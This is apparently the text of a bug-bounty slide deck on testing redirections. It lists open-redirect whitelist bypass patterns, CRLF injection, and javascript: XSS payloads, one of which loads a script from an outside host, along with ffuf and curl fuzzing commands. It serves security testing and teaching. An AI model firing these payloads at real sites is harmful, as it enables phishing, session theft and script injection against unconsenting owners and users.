Redirection
Response
HTTP/1.1 302 Found
Location: [Link]
Content-Length: Number
Content-Type: text/html;
Mahmoud M. Awali
@0xAwali
My Methodology
attacker
- If There Is Domain e.g. [Link]
Redirect You To [Link] Then
Redirect You To [Link]
So You Will FUZZ [Link]
- If [Link] Doesn't Host Any
Others Domains
● Blog So You Will FUZZ [Link]
Steps to produce :-
1 - Open Your Terminal
2 - Write This Command
root@mine:~#ffuf -w [Link] -u [Link] -fc 302 -replay-proxy [Link]
root@mine:~#ffuf -w [Link] -u [Link] -fc 302 -replay-proxy [Link]
My Methodology
attacker
- If There Is Domain e.g. [Link]
Point To I.P.v.4 Redirect To [Link]
But [Link] Doesn't Point To
Anything e.g. A , AAAA , CNAME Record
So Try To Set [Link] As Host Header
● Tweet Steps to produce :-
1 - Open Your Terminal
2 - Write This Command
root@mine:~#curl -ik [Link] -H "HOST: [Link]"
My Methodology
attacker
If There Is Redirection On The Root Domain Try To Use Payloads e.g.
/x:1/:///%01javascript:alert([Link])/ To Get XSS
● Blog
● Writeup GET //x:1/:///%01javascript:alert([Link])/ HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection On The Root Domain Try To Use CRLF Payloads e.g.
%0d , %0a OR %0d%0a e.g. %0d%0aSet-Cookie: Value To Get CRLF OR XSS
● Tweet
● Blog
● Blog
● Writeup
● Writeup
My Methodology
attacker
If There Is Redirection On The Root Domain Try To Add .. , %2e%2e , %20 OR %09
To Get Open Redirection
● Tweet
GET /../..%[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection On The Root Domain Try To Use
[Link] To Get Open Redirection
● Writeup
GET ///;@[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection On The Root Domain Try To Use
[Link] To Get Open Redirection
● Writeup
GET /@[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
Search About =http OR =https In Request Headers AND Status Code 3xx To
Figure Out Where I Can Inject Open Redirection Payloads
● Tweet
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
[Link] To Get Open Redirection
● Slides
● Writeup GET /redirection?url=[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
@[Link] , .[Link] OR //.@.[Link] To Get Open Redirection
● Tweet
● Tweet GET /redirection?url=@[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g. http:http:[Link] ,
http:/me%252ecom OR ///[Link]@[Link] To Get Open Redirection
● Tweet
GET /redirection?url=http:http:[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
Try To Insert [Link] , [Link] OR
[Link] As Value Of Redirect URL Parameter
● Tweet
List Of Patterns To Bypass The Whitelist In Redirect URL Parameter
attacker
[Link]
[Link]
[Link]
[Link] @[Link]
[Link]
● Slides [Link]%ff@[Link]%2F
[Link]%bf:@[Link]%2F
[Link]%252f@[Link]%2F
● Slides //[Link]%0a%[Link]
[Link]://[Link]
androideeplink://[Link]\@[Link]
● Tweet androideeplink://a@[Link]:@[Link]
androideeplink://[Link]
[Link]
● Blog [Link]%252f@[Link]%2fpath%2f%3
//[Link]:%252525252f@[Link]
● Blog [Link]
[Link]#[Link]
[Link]?[Link]
/%09/[Link]
[Link]%[Link]
/\[Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g. [Link]\\.[Link]
, @[Link]\\@[Link] OR [Link]%E3%80%[Link] To Get Open Redirection
● Writeup
GET /redirection?url=[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
//[Link]\@[Link] To Get Open Redirection
● Tweet
GET /redirection?url=//[Link]\@[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
[Link] To Get Open Redirection
● Writeup
GET /redirection?url=
[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
[Link] To Get Open Redirection
● Writeup
GET /redirection?url=
[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
[Link]%[Link] OR [Link]%[Link] To Get Open Redirection
● Writeup
● Writeup GET /redirection?url=[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
Try To Use Right-To-Left Override e.g. [Link] To
Redirect To [Link]
● Writeup
GET /redirection?url=
[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
Try To Use IDN Homograph Attack e.g. [Link] OR
[Link] As Value Of Redirect URL Parameter
● Tweet
● Tweet
● Video
My Methodology
attacker
Try To Use Tools e.g. [Link] To Make List Of
Payloads To Use In IDN Homograph Attack
root@mine:~#python3 [Link] [Link] | tee -a [Link]
" [Link] " Name Of Company To Abnormlize
" | tee -a [Link] " Save Output To File [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g. [Link] ,
[Link] , [Link] To Redirect To [Link]
● Slides
GET /redirection?url=[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use ws OR wss e.g.
[Link] To Get XSS
● Blog
● Blog GET /redirection?url=
[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use
javascript:alert(1); To Get XSS
● Slides
GET /redirection?url=javascript:alert(1) HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
Try To Add \n , \r , \t , OR \x01-\x20 Between Javascript e.g. java\nscript:alert(1)
● Tweet
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use
JAVASCRIPT:alert%09([Link]) To Get XSS
● Writeup
GET /redirection?url=
JAVASCRIPT:alert%09([Link]) HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g. \u006A\u0061
\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1) To Get XSS
● Tweet
GET /redirection?url=
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1) HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
My Methodology
attacker
If There Is Redirection Based On Value Of Parameter Try To Use e.g.
javascript:$.getScript`[Link] To Get HTTP Interaction
● Writeup
GET /redirection?url=
javascript:$.getScript`[Link] HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0
Referer: [Link]
Origin: [Link]
Hack3rScr0lls ● Tweet #BugBounty #BugBountyTip
Thank
You
Mahmoud M. Awali
@0xAwali